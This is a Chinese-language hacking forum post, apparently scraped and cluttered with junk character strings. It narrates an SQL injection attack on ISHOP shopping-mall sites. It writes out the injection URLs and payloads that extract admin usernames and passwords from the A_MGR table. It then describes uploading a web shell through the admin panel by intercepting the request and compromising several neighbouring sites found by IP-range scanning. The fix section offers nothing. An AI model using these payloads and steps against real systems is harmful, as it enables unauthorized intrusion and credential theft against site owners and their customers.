ISHOP商场建站系统注入漏洞

admin

发现一个注入点
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389

习惯性的加’having1=1--

- L' B! o# j; P. Qhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
& u4 @' ]5 p' a7 V/ y& o, I
0
3 i1 u* L" {5 Y% {2 e1 f
, n$ ~6 e( S$ U4 ]- {7 T爆出Diary_A.dl_Title（这时候很激动啊）

那么继续
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
6 o: s0 ^" D+ B- m8 a7 [3 o
继续，一直爆下去
- T% q# n9 ?! y' o. F3 ^% m
2 x( ?' a# Q( I; ^+ @  z6 }8 e爆到几个字段和表段 但是没找到需要的管理用户的字段

; r7 c. G- f! b6 I; o蛋疼了 怎么办 然后去后台登陆页看源码
5 K; X" b, T. `0 j7 U( a
0

5 [* ~" e3 G- _! F: @% d( NInput name= “ADUID”
9 S; ~& o& R; \+ WInput name= “ADPWD”
- R6 g4 K. u# J" I0 ^$ R
  M; G: O1 I  }0 e, F很幸运 找到了字段那就继续
找到之后开始爆用户
3 C) G/ ^8 k1 t# Mhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
6 o. ?. N" ^6 O. _6 [% Rhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
7 A9 v0 K  c( A5 m/ d测试了下 这个注入点只能爆到文章哪里的表

头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了

又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
/ f' E$ w. w$ q1 W' |
, ?1 m& R, W% g473

  ]2 }# ]! \8 R# ?进后台
0 g8 I6 n" d/ c6 N6 I
% E/ ?6 q1 k; n! Z
发现几个上传点 有的地方不能上传 而且防止恶意代码
) a; p" l: B8 m" }& }
没办法 各种百度各种找大牛 找到一只好像可以突破的马


在系统管理那里直接上传 不过没有显示地址

再上传一次 抓包 搞定OK
  `. W/ A( |, u: t0 U# A+ [

7 X, x+ P5 S$ p2 s: F( Z5 A
9 ]* U$ v$ f+ k+ t# ?- z472

6 L: v/ I6 v8 Z晚上不行了 去睡觉。。。
3 Z& x% c. j0 ^8 @第二天刚起床 闲的没事做继续日站吧

找个站 就把这个站的旁c扫了下
. K0 n, ]' O2 J3 N: Q. A
; O; e! M% p2 {6 A5 A" q2 |( Y4 X发现c段也有一个购物站 ，然后还和这个站的模板差不多

& K8 H% G# T" r3 H% x& I3 h- Z就找到会员登录口测试
: g1 g- w4 G! w# t6 h( @' D
'and (select top 1 MGR_UID from A_MGR)>0—
8 A0 {/ A8 U0 J0 ?+ `, `9 J果断爆到了 这时候我很激动 通杀

0 a5 g* d# u+ t1 \) H8 U$ P再次翻c段
& F5 P6 u9 m3 C6 T: l; L
翻出几个站 都成功拿下
9 ?' |* q& `: O3 K/ Q7 W( u0 ^% b
3 U( d. n& u* m& K; r" x7 }2 b; {
/ K3 V' n4 o. R" h
5 ~! E8 A$ D6 R1 K3 c7 S' A修复方案：
他们比我专业
​
- L' c/ \( R, B. P- ^